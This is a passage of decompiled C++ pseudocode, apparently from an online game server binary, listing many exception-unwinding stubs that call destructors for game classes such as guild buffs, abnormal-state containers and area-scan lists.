AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 172)); } //----- (00581355) -------------------------------------------------------- void __usercall _L168397(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 176)); } //----- (00581363) -------------------------------------------------------- void __usercall _L168398(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 180)); } //----- (00581371) -------------------------------------------------------- void __usercall _L168399(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 184)); } //----- (0058137F) -------------------------------------------------------- void __usercall _L168400(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 188)); } //----- (0058138D) -------------------------------------------------------- void __usercall _L168401(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 192)); } //----- (0058139B) -------------------------------------------------------- void __usercall _L168402(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 196)); } //----- (005813A9) -------------------------------------------------------- void __usercall _L168403(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 200)); } //----- (005813B7) -------------------------------------------------------- void __usercall _L168404(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 204)); } //----- (005813C5) -------------------------------------------------------- void __usercall _L168405(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 208)); } //----- (005813D3) -------------------------------------------------------- void __usercall _L168406(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 212)); } //----- (005813E1) -------------------------------------------------------- void __usercall _L168407(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 216)); } //----- (005813EF) -------------------------------------------------------- void __usercall _L168408(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 220)); } //----- (005813FD) -------------------------------------------------------- void __usercall _L168409(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 224)); } //----- (0058140B) -------------------------------------------------------- void __usercall _L168410(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 228)); } //----- (00581419) -------------------------------------------------------- void __usercall _L168411(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 232)); } //----- (00581427) -------------------------------------------------------- void __usercall _L168412(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 236)); } //----- (00581435) -------------------------------------------------------- void __usercall _L168413(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 240)); } //----- (00581443) -------------------------------------------------------- void __usercall _L168414(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 244)); } //----- (00581451) -------------------------------------------------------- void __usercall _L168415(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 248)); } //----- (0058145F) -------------------------------------------------------- void __usercall _L168416(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 252)); } //----- (0058146D) -------------------------------------------------------- void __usercall _L168417(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 256)); } //----- (0058147B) -------------------------------------------------------- void __usercall _L168418(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 260)); } //----- (00581489) -------------------------------------------------------- void __usercall _L168419(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 264)); } //----- (00581497) -------------------------------------------------------- void __usercall _L168420(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 268)); } //----- (005814A5) -------------------------------------------------------- void __usercall _L168421(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 272)); } //----- (005814B3) -------------------------------------------------------- void __usercall _L168422(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 276)); } //----- (005814C1) -------------------------------------------------------- void __usercall _L168423(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 280)); } //----- (005814CF) -------------------------------------------------------- void __usercall _L168424(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 284)); } //----- (005814DD) -------------------------------------------------------- void __usercall _L168425(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 288)); } //----- (005814EB) -------------------------------------------------------- void __usercall _L168426(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 292)); } //----- (005814F9) -------------------------------------------------------- void __usercall _L168427(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 296)); } //----- (00581520) -------------------------------------------------------- void __usercall _L169551(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00581528) -------------------------------------------------------- void __usercall _L169552(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00581540) -------------------------------------------------------- void __usercall _L170243(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00581560) -------------------------------------------------------- void __usercall _L170361(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00581568) -------------------------------------------------------- void __usercall _L170362(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (00581580) -------------------------------------------------------- void __usercall _L170542(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 4)); } //----- (005815A0) -------------------------------------------------------- void __usercall _L173299(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005815C0) -------------------------------------------------------- void __usercall _L170872(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005815E0) -------------------------------------------------------- void __usercall _L170907(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00581600) -------------------------------------------------------- void __usercall _L171157(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 - 128)); } //----- (00581608) -------------------------------------------------------- void __usercall _L171159(int a1) { AbnormalStateContainer::AbstateElementInObject::ASE_Tick::_ASE_Tick((AbnormalStateContainer::AbstateElementInObject::ASE_Tick *)(a1 - 108)); } //----- (00581620) -------------------------------------------------------- void __usercall _L171210(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00581628) -------------------------------------------------------- void __usercall _L171211(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 36)); } //----- (00581630) -------------------------------------------------------- void __usercall _L171212(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00581650) -------------------------------------------------------- void __usercall _L171502(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00581658) -------------------------------------------------------- void __usercall _L171503(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00581670) -------------------------------------------------------- void __usercall _L171723(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0058167B) -------------------------------------------------------- void __usercall _L171724(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 - 128)); } //----- (00581690) -------------------------------------------------------- void __usercall _L172147(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00581698) -------------------------------------------------------- void __usercall _L172161(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005816B0) -------------------------------------------------------- void __usercall _L172380(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 848)); } //----- (005816BB) -------------------------------------------------------- void __usercall _L172381(int a1) { AxialListNearScanEnemyorAll::_AxialListNearScanEnemyorAll((AxialListNearScanEnemyorAll *)(a1 - 844)); } //----- (005816C6) -------------------------------------------------------- void __usercall _L172382(int a1) { AxialListNearScanEnemyorAll::_AxialListNearScanEnemyorAll((AxialListNearScanEnemyorAll *)(a1 - 428)); } //----- (005816D1) -------------------------------------------------------- void __usercall _L172383(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 860)); } //----- (005816F0) -------------------------------------------------------- void __usercall _L172813(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 432)); } //----- (005816FB) -------------------------------------------------------- void __usercall _L172814(int a1) { AxialListNearScanEnemyorAll::_AxialListNearScanEnemyorAll((AxialListNearScanEnemyorAll *)(a1 - 428)); } //----- (00581706) -------------------------------------------------------- void __usercall _L172815(int a1) { AxialListNearScanFriend::_AxialListNearScanFriend((AxialListNearScanFriend *)(a1 - 428)); } //----- (00581720) -------------------------------------------------------- void __usercall _L172900(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00581740) -------------------------------------------------------- void __usercall _L172926(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x74u, 30, (void (__thiscall *)(void *))AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject); } //----- (00581760) -------------------------------------------------------- void __usercall _L172962(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00581780) -------------------------------------------------------- void __usercall _L173343(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 432)); } //----- (0058178B) -------------------------------------------------------- void __usercall _L173344(int a1) { AxialListNearScanCoupleParty::_AxialListNearScanCoupleParty((AxialListNearScanCoupleParty *)(a1 - 428)); } //----- (005817A0) -------------------------------------------------------- void __usercall _L173461(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 428)); } //----- (005817AB) -------------------------------------------------------- void __usercall _L173462(int a1) { AxialListNearScanParty::_AxialListNearScanParty((AxialListNearScanParty *)(a1 - 424)); } //----- (005817C0) -------------------------------------------------------- void __usercall _L173587(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 428)); } //----- (005817CB) -------------------------------------------------------- void __usercall _L173588(int a1) { AxialListNearScanGuildAcademy::_AxialListNearScanGuildAcademy((AxialListNearScanGuildAcademy *)(a1 - 424)); } //----- (00583500) -------------------------------------------------------- void __usercall _L144611(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (00583508) -------------------------------------------------------- void __usercall _L144612(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 1924)); } //----- (00583520) -------------------------------------------------------- void __usercall _L151610(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00583540) -------------------------------------------------------- void __usercall _L146389(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00583560) -------------------------------------------------------- void __usercall _L146433(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00583568) -------------------------------------------------------- void __usercall _L146434(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00583590) -------------------------------------------------------- void __usercall _L149186(int a1) { exception::_exception(*(exception **)(a1 - 16)); } //----- (005835B0) -------------------------------------------------------- void __usercall _L149293_0(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (00583640) -------------------------------------------------------- void __usercall _L150916_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00583648) -------------------------------------------------------- void __usercall _L150917(int a1) { AbnormalStateShelter::AbstateBuffer::_AbstateBuffer((AbnormalStateShelter::AbstateBuffer *)(a1 - 32)); } //----- (00583660) -------------------------------------------------------- void __usercall _L168190(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (00583680) -------------------------------------------------------- void __usercall _L173259(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005836A0) -------------------------------------------------------- void __usercall _L168308(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (005836C0) -------------------------------------------------------- void __usercall _L169867(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (005836E0) -------------------------------------------------------- void __usercall _L171540(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00583700) -------------------------------------------------------- void __usercall _L168791(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 548)); } //----- (00583720) -------------------------------------------------------- void __usercall _L168856(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00583728) -------------------------------------------------------- void __usercall _L168857(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00583740) -------------------------------------------------------- void __usercall _L168939(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0058374B) -------------------------------------------------------- void __usercall _L168940(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 284)); } //----- (00583760) -------------------------------------------------------- void __usercall _L169053(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00583768) -------------------------------------------------------- void __usercall _L169054(int a1) { AxialListDoorAction::_AxialListDoorAction((AxialListDoorAction *)(a1 - 24)); } //----- (00583780) -------------------------------------------------------- void __usercall _L169427(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (005837A0) -------------------------------------------------------- void __usercall _L169318(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 164)); } //----- (005837C0) -------------------------------------------------------- void __usercall _L169713(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (005837E0) -------------------------------------------------------- void __usercall _L172237(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (00583800) -------------------------------------------------------- void __usercall _L170487(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00583808) -------------------------------------------------------- void __usercall _L170488(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 20)); } //----- (00583820) -------------------------------------------------------- void __usercall _L170662(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (00583840) -------------------------------------------------------- void __usercall _L171950(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00583860) -------------------------------------------------------- void __usercall _L172012(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00583880) -------------------------------------------------------- void __usercall _L171031(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (005838A0) -------------------------------------------------------- void __usercall _L171797(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005838A8) -------------------------------------------------------- void __usercall _L171798(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 24)); } //----- (005838C0) -------------------------------------------------------- void __usercall _L173102(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005838E0) -------------------------------------------------------- void __usercall _L173147(int a1) { PROTO_KQ_INFO::_PROTO_KQ_INFO((PROTO_KQ_INFO *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (005838EB) -------------------------------------------------------- void __usercall _L173148(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 256), 0x24u, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00583903) -------------------------------------------------------- void __usercall _L173149(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 400)); } //----- (00583911) -------------------------------------------------------- void __usercall _L173150(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 656)); } //----- (00583930) -------------------------------------------------------- void __usercall _L173167(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 96)); } //----- (00583950) -------------------------------------------------------- void __usercall _L173339(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 288)); } //----- (00583970) -------------------------------------------------------- void __usercall _L173837_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00583990) -------------------------------------------------------- void __usercall _L173899_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 960)); } //----- (0058399B) -------------------------------------------------------- void __usercall _L173900_0(int a1) { KingdomQuest::KQElement::_KQElement((KingdomQuest::KQElement *)(a1 - 956)); } //----- (005839B0) -------------------------------------------------------- void __usercall _L173928_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 688)); } //----- (005839BB) -------------------------------------------------------- void __usercall _L173929_0(int a1) { FieldMap::_FieldMap(a1 - 568); } //----- (005839C6) -------------------------------------------------------- void __usercall _L173930_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005839E0) -------------------------------------------------------- void __usercall _L174080_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 328)); } //----- (005839EB) -------------------------------------------------------- void __usercall _L174081_0(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00583A00) -------------------------------------------------------- void __usercall _L175991(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (00583A20) -------------------------------------------------------- void __usercall _L177022(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00583A28) -------------------------------------------------------- void __usercall _L177023(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 44)); } //----- (00583A40) -------------------------------------------------------- void __usercall _L177462(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00583A48) -------------------------------------------------------- void __usercall _L177463(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 24), 0x28u, 256, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00583A70) -------------------------------------------------------- void __usercall _L177632(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 168)); } //----- (00583A7B) -------------------------------------------------------- void __usercall _L177633(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 160)); } //----- (00583A86) -------------------------------------------------------- void __usercall _L177634(int a1) { std::vector_std::allocator>_std::allocator_std::allocator>>>::_vector_std::allocator>_std::allocator_std::allocator>>>((std::vector,std::allocator >,std::allocator,std::allocator > > > *)(a1 - 188)); } //----- (00583A91) -------------------------------------------------------- void __usercall _L177635(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 72)); } //----- (00583A99) -------------------------------------------------------- void __usercall _L177636(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 100)); } //----- (00583AA1) -------------------------------------------------------- void __usercall _L177637(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 156)); } //----- (00583AAC) -------------------------------------------------------- void __usercall _L177638(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 44)); } //----- (00583AB4) -------------------------------------------------------- void __usercall _L177639(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 128)); } //----- (00583AD0) -------------------------------------------------------- void __usercall _L179412(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 772)); } //----- (00583ADB) -------------------------------------------------------- void __usercall _L179413(int a1) { ListIter_AmpCmdArgument::_ListIter_AmpCmdArgument((ListIter_AmpCmdArgument *)(a1 - 704)); } //----- (00583AF0) -------------------------------------------------------- void __usercall _L156464(int a1) { AxialListWall::_AxialListWall(*(AxialListMobKillLog **)(a1 - 16)); } //----- (00583B10) -------------------------------------------------------- void __usercall _L156730(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00583B30) -------------------------------------------------------- void __usercall _L156429(int a1) { AxialListWall::_AxialListWall(*(AxialListMobKillLog **)(a1 - 20)); } //----- (00583B38) -------------------------------------------------------- void __usercall _L156430(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00583B50) -------------------------------------------------------- void __usercall _L170682(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00583B70) -------------------------------------------------------- void __usercall _L172118(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00583B90) -------------------------------------------------------- void __usercall _L167594(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00583B98) -------------------------------------------------------- void __usercall _L167595(int a1) { AxialListTargetInform::_AxialListTargetInform((AxialListTargetInform *)(a1 - 28)); } //----- (00583BB0) -------------------------------------------------------- void __usercall _L168099(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00583BD0) -------------------------------------------------------- void __usercall _L172529(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00583BF0) -------------------------------------------------------- void __usercall _L169060(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 4)); } //----- (00583C10) -------------------------------------------------------- void __usercall _L169097(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00583C30) -------------------------------------------------------- void __usercall _L169567(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00583C50) -------------------------------------------------------- void __usercall _L169895(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 172)); } //----- (00583C5B) -------------------------------------------------------- void __usercall _L169896(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 164)); } //----- (00583C66) -------------------------------------------------------- void __usercall _L169897(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 184)); } //----- (00583C71) -------------------------------------------------------- void __usercall _L169898(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 184)); } //----- (00583C90) -------------------------------------------------------- void __usercall _L170339(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00583C98) -------------------------------------------------------- void __usercall _L170340(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00583CB0) -------------------------------------------------------- void __usercall _L170399(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (00583CB8) -------------------------------------------------------- void __usercall _L170400(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 52)); } //----- (00583CD0) -------------------------------------------------------- void __usercall _L172191(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (00583CDB) -------------------------------------------------------- void __usercall _L172213(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 288)); } //----- (00583CF0) -------------------------------------------------------- void __usercall _L172340(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00583CF8) -------------------------------------------------------- void __usercall _L172341(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 28)); } //----- (00583D30) -------------------------------------------------------- void __usercall _L174628(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 + 8)); } //----- (00583D50) -------------------------------------------------------- void __usercall _L174783(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 - 128)); } //----- (00583D70) -------------------------------------------------------- void __usercall _L174861(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 140)); } //----- (00583D7B) -------------------------------------------------------- void __usercall _L174862(int a1) { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)(a1 - 136)); } //----- (00583D90) -------------------------------------------------------- void __usercall _L161481(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00583DB0) -------------------------------------------------------- void __usercall _L163731(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00583DD0) -------------------------------------------------------- void __usercall _L160158(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- 